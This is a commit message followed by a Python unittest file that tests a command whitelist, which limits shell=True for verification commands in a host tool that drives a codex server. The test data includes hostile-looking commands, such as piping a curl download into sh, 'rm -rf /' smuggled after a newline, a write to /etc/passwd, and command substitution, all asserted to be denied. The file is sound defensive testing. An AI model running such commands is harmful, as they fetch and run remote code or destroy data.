方案 A(白名单)+ 方案 B-lite(结构化 argv)双轨: - 分类器 classify_verify_command:POSIX 引号状态机扫描, simple(无 shell 形态)/ simple-env(仅 VAR=val 前缀)走 shell=False,shell(白名单内形态)走唯一的 shell=True 门, denied(嵌套 shell、命令替换、未列首词、绝对/越界重定向、 多行等)拒绝执行并审计,返回 126 按验测失败处理。 - 验测线 shell=True 从 4 处收口到 1 处(run_gated_verify), run_verify 与轮次验收 2 处全部改走该门;bandit High 4->2 (nosec 0,未做任何压制)。 - verify_argv:merge/goal/goal-resume 的 --verify-argv (REMAINDER,须放最后;空数组报 usage 退出,不静默跳过), 任务记录 verify_argv,goal-resume 原样重放;goal-resume 的 max_rounds==0 钳制计入 argv 形态。 - verify-audit:扫描 state 旧任务并分类;--apply 只转 simple, shell/denied 只列清单;审计本身不启动 codex server。 - notify_failure 不动:算子自有配置 + 插值已 shlex.quote (main 已有),白名单不适用,见 PR 正文定性表。 测试:新增 tests/test_host_shell_policy.py 30 项(含 naive shlex.split 破坏回归锁、拒绝不执行标记文件、merge 回滚、 goal unmet/argv 达标、CLI REMAINDER/空数组、verify-audit 端到端);顶层 135、deploy 39、cloud 1430(skipped 4)全过。
448 lines
21 KiB
Python
448 lines
21 KiB
Python
"""host.py 验测命令白名单(shell=True 收口)的测试。
|
||
|
||
覆盖三件事,缺一不可:
|
||
1. 分类:simple / simple-env / shell / denied 的判定与拒绝原因;
|
||
2. 执行:拒绝绝不执行(第二条命令/命令替换的标记文件必须不
|
||
出现);simple/simple-env 走 shell=False;shell 形态(复合、
|
||
管道、重定向、环境变量、glob、引用)与旧 shell 语义等价;
|
||
3. 迁移:verify-audit 报告分类、--apply 只转 simple、不碰
|
||
shell/denied;naive 的 shlex.split 转换会破坏复合/管道/
|
||
重定向/环境变量语义(回归锁:以后不许有人把“改成
|
||
shell=False”理解成“直接 shlex.split 就行”)。
|
||
"""
|
||
import json
|
||
import os
|
||
import subprocess
|
||
import sys
|
||
import tempfile
|
||
import unittest
|
||
from pathlib import Path
|
||
|
||
REPO_ROOT = Path(__file__).resolve().parents[1]
|
||
sys.path.insert(0, str(REPO_ROOT))
|
||
|
||
import host
|
||
|
||
|
||
def kind_of(cmd, cwd=None):
|
||
return host.classify_verify_command(cmd, cwd=cwd)["kind"]
|
||
|
||
|
||
class ClassifyTest(unittest.TestCase):
|
||
def test_simple_commands(self):
|
||
for cmd in ("python3 -m unittest discover -s tests -v",
|
||
"test -f result.txt",
|
||
"true",
|
||
"[ -f result.txt ]",
|
||
"echo hello",
|
||
"make test"):
|
||
with self.subTest(cmd=cmd):
|
||
self.assertEqual(kind_of(cmd), "simple")
|
||
|
||
def test_simple_argv_keeps_quoted_words(self):
|
||
info = host.classify_verify_command(
|
||
"python3 -m pytest \"tests/a b.py\"")
|
||
self.assertEqual(info["kind"], "simple")
|
||
self.assertEqual(info["argv"],
|
||
["python3", "-m", "pytest", "tests/a b.py"])
|
||
info = host.classify_verify_command("echo 'a b'")
|
||
self.assertEqual(info["argv"], ["echo", "a b"])
|
||
|
||
def test_single_quoted_dollar_is_literal_not_expansion(self):
|
||
# 单引号内 $ 是字面量:shell 与 argv 语义一致,走 simple。
|
||
info = host.classify_verify_command("echo '$HOME'")
|
||
self.assertEqual(info["kind"], "simple")
|
||
self.assertEqual(info["argv"], ["echo", "$HOME"])
|
||
|
||
def test_shell_features(self):
|
||
cases = {
|
||
"python3 -m pytest tests/ && echo done": "compound",
|
||
"python3 -m pytest tests/; echo done": "compound",
|
||
"python3 -m pytest tests/ | tail -20": "pipe",
|
||
"python3 -m pytest tests/ > out.log 2>&1": "redirect",
|
||
"echo hi > /dev/null": "redirect",
|
||
"echo $HOME": "env",
|
||
"echo ${HOME}/x": "env",
|
||
"echo ~/x": "env",
|
||
"python3 -m pytest tests/test_*.py": "glob",
|
||
}
|
||
for cmd, feature in cases.items():
|
||
with self.subTest(cmd=cmd):
|
||
info = host.classify_verify_command(cmd)
|
||
self.assertEqual(info["kind"], "shell")
|
||
self.assertIn(feature, info["features"])
|
||
|
||
def test_assign_only_is_simple_env(self):
|
||
info = host.classify_verify_command(
|
||
"FOO=bar python3 -m pytest tests/")
|
||
self.assertEqual(info["kind"], "simple-env")
|
||
self.assertEqual(info["argv"], ["python3", "-m", "pytest", "tests/"])
|
||
self.assertEqual(info["env"], {"FOO": "bar"})
|
||
# 赋值里带展开就不再是 simple-env:须走 shell 形态。
|
||
info = host.classify_verify_command("FOO=~/x python3 -m pytest")
|
||
self.assertEqual(info["kind"], "shell")
|
||
|
||
def test_denied_escape_shapes(self):
|
||
denied = (
|
||
"pytest $(cat list.txt)",
|
||
"echo `id`",
|
||
"echo \"$(id)\"",
|
||
"(pytest tests/)",
|
||
"pytest tests/\nrm -rf /",
|
||
"pytest tests/ # comment",
|
||
"echo 'unclosed",
|
||
"pytest tests/ &&",
|
||
"FOO=bar",
|
||
"> out.log",
|
||
"echo hi > $OUT.log",
|
||
"python3 -m pytest tests/ <<EOF",
|
||
)
|
||
for cmd in denied:
|
||
with self.subTest(cmd=cmd):
|
||
info = host.classify_verify_command(cmd)
|
||
self.assertEqual(info["kind"], "denied")
|
||
self.assertTrue(info["reason"], cmd)
|
||
|
||
def test_denied_unlisted_words_every_segment(self):
|
||
denied = (
|
||
"sh -c 'pytest'",
|
||
"bash -c 'pytest'",
|
||
"curl https://example.invalid | sh",
|
||
"rm -rf build",
|
||
"pytest tests/ && rm -rf build",
|
||
"pytest tests/ | curl https://example.invalid",
|
||
"cd subdir && pytest",
|
||
"sudo make test",
|
||
)
|
||
for cmd in denied:
|
||
with self.subTest(cmd=cmd):
|
||
info = host.classify_verify_command(cmd)
|
||
self.assertEqual(info["kind"], "denied")
|
||
self.assertIn("白名单", info["reason"], cmd)
|
||
|
||
def test_denied_redirect_targets(self):
|
||
denied = (
|
||
"echo hi > /tmp/x.log",
|
||
"echo hi > ../x.log",
|
||
"echo hi > /etc/passwd",
|
||
"echo hi >&/tmp/x.log",
|
||
)
|
||
for cmd in denied:
|
||
with self.subTest(cmd=cmd):
|
||
self.assertEqual(kind_of(cmd), "denied")
|
||
|
||
def test_empty_is_empty_not_denied(self):
|
||
self.assertEqual(kind_of(""), "empty")
|
||
self.assertEqual(kind_of(" "), "empty")
|
||
|
||
def test_runner_args_are_not_policed_by_first_word(self):
|
||
# 诚实边界:首词白名单拦不住运行器自身的参数(-c、
|
||
# Makefile、npm script 本来就能跑代码),这里只锁定
|
||
# “当前实现确实放行”这一事实,防以后有人误以为它是沙箱。
|
||
self.assertEqual(kind_of("python3 -c 'print(1)'"), "simple")
|
||
|
||
def test_repo_script_path_needs_executable_under_cwd(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
script = Path(tmp, "verify.sh")
|
||
script.write_text("#!/bin/sh\necho ok\n", encoding="utf-8")
|
||
os.chmod(script, 0o755)
|
||
self.assertEqual(kind_of("./verify.sh", cwd=tmp), "simple")
|
||
self.assertEqual(kind_of("./missing.sh", cwd=tmp), "denied")
|
||
self.assertEqual(kind_of("../escape.sh", cwd=tmp), "denied")
|
||
self.assertEqual(kind_of("/bin/true", cwd=tmp), "denied")
|
||
script.chmod(0o644)
|
||
info = host.classify_verify_command("./verify.sh", cwd=tmp)
|
||
self.assertEqual(info["kind"], "denied")
|
||
self.assertIn("不可执行", info["reason"])
|
||
|
||
|
||
class GatedRunTest(unittest.TestCase):
|
||
def test_denied_never_executes_second_command(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
marker = os.path.join(tmp, "pwned")
|
||
rc, out = host.run_gated_verify(
|
||
f"echo hi; touch {marker}", tmp)
|
||
self.assertEqual(rc, 126)
|
||
self.assertFalse(os.path.exists(marker))
|
||
self.assertIn("白名单拒绝", out)
|
||
|
||
def test_denied_never_executes_substitution(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
marker = os.path.join(tmp, "pwned")
|
||
rc, _ = host.run_gated_verify(f"echo $(touch {marker})", tmp)
|
||
self.assertEqual(rc, 126)
|
||
self.assertFalse(os.path.exists(marker))
|
||
|
||
def test_denied_is_audited(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
state_path = os.path.join(tmp, "host-state.json")
|
||
host.run_gated_verify("rm -rf build", tmp,
|
||
audit_state_path=state_path)
|
||
log = Path(tmp, "host-run.log").read_text()
|
||
self.assertIn("verify denied rc=126", log)
|
||
self.assertIn("rm -rf build", log)
|
||
|
||
def test_simple_runs_without_shell_expansion(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
# shell=False 时 $HOME 不展开:输出就是字面量(经
|
||
# simple 分类?$HOME 是 env 形态,走 shell;这里用
|
||
# 引号字面量证明 simple 路径确实不经过 shell)。
|
||
rc, out = host.run_gated_verify("echo '$HOME'", tmp)
|
||
self.assertEqual((rc, out), (0, "$HOME"))
|
||
|
||
def test_simple_env_applies_assignments(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
rc, out = host.run_gated_verify(
|
||
"FOO=bar python3 -c \"import os; print(os.environ['FOO'])\"",
|
||
tmp)
|
||
self.assertEqual((rc, out), (0, "bar"))
|
||
|
||
def test_shell_compound_pipe_redirect_env_glob_equivalence(self):
|
||
# 与旧 shell=True 语义逐项等价:同一命令在新旧两路下
|
||
# 输出一致(旧路直接 subprocess shell=True 对照)。
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
Path(tmp, "a.txt").write_text("hello\n", encoding="utf-8")
|
||
Path(tmp, "b.txt").write_text("world\n", encoding="utf-8")
|
||
cases = (
|
||
"echo a && echo b",
|
||
"cat a.txt | grep -q hello && echo found",
|
||
"echo data > out.log",
|
||
"FOO=hi python3 -c \"import os; print(os.environ['FOO'])\"",
|
||
"cat *.txt",
|
||
)
|
||
for cmd in cases:
|
||
with self.subTest(cmd=cmd):
|
||
old = subprocess.run(cmd, shell=True, cwd=tmp,
|
||
capture_output=True, text=True)
|
||
rc, out = host.run_gated_verify(cmd, tmp)
|
||
self.assertEqual(rc, old.returncode)
|
||
self.assertEqual(out, (old.stdout + old.stderr).strip())
|
||
|
||
def test_argv_is_literal_no_shell_parsing(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
rc, out = host.run_verify_argv(["echo", "a;b", "$(x)", "*"], tmp)
|
||
self.assertEqual((rc, out), (0, "a;b $(x) *"))
|
||
with self.assertRaises(TypeError):
|
||
host.run_verify_argv("echo hi", tmp)
|
||
|
||
def test_run_verify_empty_and_default_unittest(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
self.assertEqual(host.run_verify("", tmp), (0, ""))
|
||
self.assertEqual(host.run_verify("true", tmp), (0, ""))
|
||
|
||
|
||
class NaiveShlexSplitBreakageTest(unittest.TestCase):
|
||
"""锁死一条教训:把 shell 字符串直接 shlex.split 后走
|
||
shell=False 不是等价转换——复合、管道、重定向、环境变量、
|
||
glob 的语义全变。白名单的 simple 路径只对无形态命令用
|
||
shlex 结果,shell 形态必须走 shell=True(白名单内)或 argv。"""
|
||
|
||
def _naive(self, cmd, cwd):
|
||
import shlex
|
||
v = subprocess.run(shlex.split(cmd), shell=False, cwd=cwd,
|
||
capture_output=True, text=True)
|
||
return v.returncode, (v.stdout + v.stderr).strip()
|
||
|
||
def test_naive_split_breaks_compound(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
rc, out = self._naive("echo a && echo b", tmp)
|
||
# naive 把 && 当成 echo 的参数,输出错误且 rc 仍 0:
|
||
# 这正是最危险的“静默语义变化”。
|
||
self.assertEqual(out, "a && echo b")
|
||
rc2, out2 = host.run_gated_verify("echo a && echo b", tmp)
|
||
self.assertEqual((rc2, out2), (0, "a\nb"))
|
||
|
||
def test_naive_split_breaks_pipe_and_redirect(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
rc, out = self._naive("echo hello | grep hello", tmp)
|
||
self.assertNotEqual(out, "hello")
|
||
rc, out = self._naive("echo data > out.log", tmp)
|
||
self.assertFalse(os.path.exists(os.path.join(tmp, "out.log")))
|
||
|
||
def test_naive_split_breaks_env_assignment(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
with self.assertRaises(FileNotFoundError):
|
||
self._naive("FOO=bar echo hi", tmp)
|
||
|
||
|
||
class MergeAndGoalIntegrationTest(unittest.TestCase):
|
||
def _make_repo(self, tmp):
|
||
subprocess.run(["git", "init", "-q"], cwd=tmp, check=True)
|
||
subprocess.run(["git", "config", "user.name", "Test"], cwd=tmp,
|
||
check=True)
|
||
subprocess.run(["git", "config", "user.email", "test@example.com"],
|
||
cwd=tmp, check=True)
|
||
Path(tmp, "mod.py").write_text("def f():\n return 1\n",
|
||
encoding="utf-8")
|
||
subprocess.run(["git", "add", "-A"], cwd=tmp, check=True)
|
||
subprocess.run(["git", "commit", "-qm", "initial"], cwd=tmp,
|
||
check=True)
|
||
subprocess.run(["git", "worktree", "add", os.path.join(tmp, "wt"),
|
||
"-b", "host/t1", "HEAD"], cwd=tmp, check=True)
|
||
return os.path.join(tmp, "wt")
|
||
|
||
def test_merge_denied_verify_rolls_back_and_keeps_worktree(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
wt = self._make_repo(tmp)
|
||
pre = subprocess.run(["git", "rev-parse", "HEAD"], cwd=tmp,
|
||
capture_output=True, text=True).stdout.strip()
|
||
ok, msg = host.merge_task(tmp, wt, "host/t1", "t1",
|
||
verify_command="rm -rf build")
|
||
self.assertFalse(ok)
|
||
self.assertIn("白名单拒绝", msg)
|
||
now = subprocess.run(["git", "rev-parse", "HEAD"], cwd=tmp,
|
||
capture_output=True, text=True).stdout.strip()
|
||
self.assertEqual(now, pre)
|
||
self.assertTrue(os.path.isdir(wt))
|
||
|
||
def test_merge_verify_argv_wins_over_string(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
wt = self._make_repo(tmp)
|
||
ok, msg = host.merge_task(tmp, wt, "host/t1", "t1",
|
||
verify_command="rm -rf build",
|
||
verify_argv=["true"])
|
||
self.assertTrue(ok, msg)
|
||
self.assertFalse(os.path.isdir(wt))
|
||
|
||
def test_goal_denied_verify_is_unmet_not_crash(self):
|
||
class FakeServer:
|
||
def run_turn(self, thread_id, prompt, model=None, effort=None,
|
||
sandbox=None, timeout=None):
|
||
return {"status": "completed", "text": "done",
|
||
"turn_id": "u1"}
|
||
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
state_path = os.path.join(tmp, "host-state.json")
|
||
state = {"tasks": {}, "automations": []}
|
||
task = {"name": "g", "thread_id": "x", "cwd": tmp,
|
||
"sandbox": None, "max_retries": 0, "retry_count": 0,
|
||
"turns": []}
|
||
state["tasks"]["g"] = task
|
||
result = host.run_goal_loop(FakeServer(), state, state_path,
|
||
task, "make it", "rm -rf build",
|
||
1, "m", "low", None, cfg={},
|
||
timeout=600)
|
||
self.assertFalse(result["ok"])
|
||
self.assertEqual(task["status"], "goal-unmet")
|
||
self.assertIn("白名单拒绝", task["goal_last_verify"])
|
||
|
||
def test_goal_verify_argv_runs_shell_false(self):
|
||
class FakeServer:
|
||
def run_turn(self, thread_id, prompt, model=None, effort=None,
|
||
sandbox=None, timeout=None):
|
||
return {"status": "completed", "text": "done",
|
||
"turn_id": "u1"}
|
||
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
state_path = os.path.join(tmp, "host-state.json")
|
||
state = {"tasks": {}, "automations": []}
|
||
task = {"name": "g", "thread_id": "x", "cwd": tmp,
|
||
"sandbox": None, "max_retries": 0, "retry_count": 0,
|
||
"turns": []}
|
||
state["tasks"]["g"] = task
|
||
result = host.run_goal_loop(FakeServer(), state, state_path,
|
||
task, "make it", None,
|
||
1, "m", "low", None, cfg={},
|
||
timeout=600,
|
||
verify_argv=["echo", "a;b"])
|
||
self.assertTrue(result["ok"])
|
||
self.assertEqual(task["status"], "goal-met")
|
||
self.assertEqual(task["verify_argv"], ["echo", "a;b"])
|
||
saved = host.load_state(state_path)
|
||
self.assertEqual(saved["tasks"]["g"]["verify_argv"],
|
||
["echo", "a;b"])
|
||
|
||
|
||
class VerifyAuditTest(unittest.TestCase):
|
||
def test_report_classifies_and_apply_converts_only_simple(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
state = {"tasks": {
|
||
"simple-task": {"verify_command": "true", "cwd": tmp},
|
||
"shell-task": {"verify_command": "echo a && echo b",
|
||
"cwd": tmp},
|
||
"denied-task": {"verify_command": "rm -rf build",
|
||
"cwd": tmp},
|
||
"argv-task": {"verify_command": None,
|
||
"verify_argv": ["true"], "cwd": tmp},
|
||
"newform-task": {"verify_command": None, "cwd": tmp},
|
||
}, "automations": []}
|
||
report = host.build_verify_audit_report(state)
|
||
by_name = {r["task"]: r for r in report}
|
||
self.assertEqual(set(by_name),
|
||
{"simple-task", "shell-task", "denied-task",
|
||
"argv-task"})
|
||
self.assertEqual(by_name["simple-task"]["kind"], "simple")
|
||
self.assertEqual(by_name["simple-task"]["argv"], ["true"])
|
||
self.assertEqual(by_name["shell-task"]["kind"], "shell")
|
||
self.assertIsNone(by_name["shell-task"]["argv"])
|
||
self.assertEqual(by_name["denied-task"]["kind"], "denied")
|
||
self.assertEqual(by_name["argv-task"]["kind"], "argv")
|
||
|
||
class Args:
|
||
apply = True
|
||
json = False
|
||
state = os.path.join(tmp, "host-state.json")
|
||
|
||
with open(Args.state, "w", encoding="utf-8") as f:
|
||
json.dump(state, f)
|
||
# _cmd_verify_audit 内部用 load/save 语义:这里直接
|
||
# 传已加载的 state(main 里 state 正是 load_state 得来)。
|
||
loaded = host.load_state(Args.state)
|
||
host._cmd_verify_audit(Args(), loaded)
|
||
saved = host.load_state(Args.state)
|
||
self.assertEqual(saved["tasks"]["simple-task"]["verify_argv"],
|
||
["true"])
|
||
self.assertIsNone(saved["tasks"]["shell-task"].get("verify_argv"))
|
||
self.assertIsNone(saved["tasks"]["denied-task"].get("verify_argv"))
|
||
|
||
def test_cli_verify_argv_remainder_eats_dash_flags(self):
|
||
# --verify-argv 必须是 REMAINDER:nargs="+" 会把 -m 当成
|
||
# 未识别选项(实测回归)。这里用 merge 分支验证:任务无
|
||
# repo 时在 server 初始化后打印提示并返回,不跑验测。
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
state_path = os.path.join(tmp, "host-state.json")
|
||
with open(state_path, "w", encoding="utf-8") as f:
|
||
json.dump({"tasks": {"t": {}}, "automations": []}, f)
|
||
out = subprocess.run(
|
||
[sys.executable, str(REPO_ROOT / "host.py"),
|
||
"--state", state_path, "merge", "--task", "t",
|
||
"--verify-argv", "python3", "-m", "pytest", "tests/"],
|
||
capture_output=True, text=True, timeout=60)
|
||
self.assertEqual(out.returncode, 0, out.stderr[-2000:])
|
||
self.assertNotIn("unrecognized arguments", out.stderr)
|
||
self.assertIn("非 git worktree 任务", out.stdout)
|
||
|
||
def test_cli_verify_argv_empty_is_usage_error_not_skip(self):
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
state_path = os.path.join(tmp, "host-state.json")
|
||
with open(state_path, "w", encoding="utf-8") as f:
|
||
json.dump({"tasks": {"t": {}}, "automations": []}, f)
|
||
out = subprocess.run(
|
||
[sys.executable, str(REPO_ROOT / "host.py"),
|
||
"--state", state_path, "merge", "--task", "t",
|
||
"--verify-argv"],
|
||
capture_output=True, text=True, timeout=60)
|
||
self.assertEqual(out.returncode, 2)
|
||
self.assertIn("--verify-argv 后须至少给一个参数", out.stderr)
|
||
|
||
def test_audit_cli_does_not_boot_server(self):
|
||
# verify-audit 必须在 srv 构造前返回:没有 codex 二进制
|
||
# 也能跑,且不产生 host-steps/server 相关副作用。
|
||
with tempfile.TemporaryDirectory() as tmp:
|
||
state_path = os.path.join(tmp, "host-state.json")
|
||
with open(state_path, "w", encoding="utf-8") as f:
|
||
json.dump({"tasks": {
|
||
"t1": {"verify_command": "echo a && echo b",
|
||
"cwd": tmp}}, "automations": []}, f)
|
||
out = subprocess.run(
|
||
[sys.executable, str(REPO_ROOT / "host.py"),
|
||
"--state", state_path, "verify-audit"],
|
||
capture_output=True, text=True, timeout=60)
|
||
self.assertEqual(out.returncode, 0, out.stderr[-2000:])
|
||
self.assertIn("shell", out.stdout)
|
||
self.assertIn("t1", out.stdout)
|
||
|
||
|
||
if __name__ == "__main__":
|
||
unittest.main()
|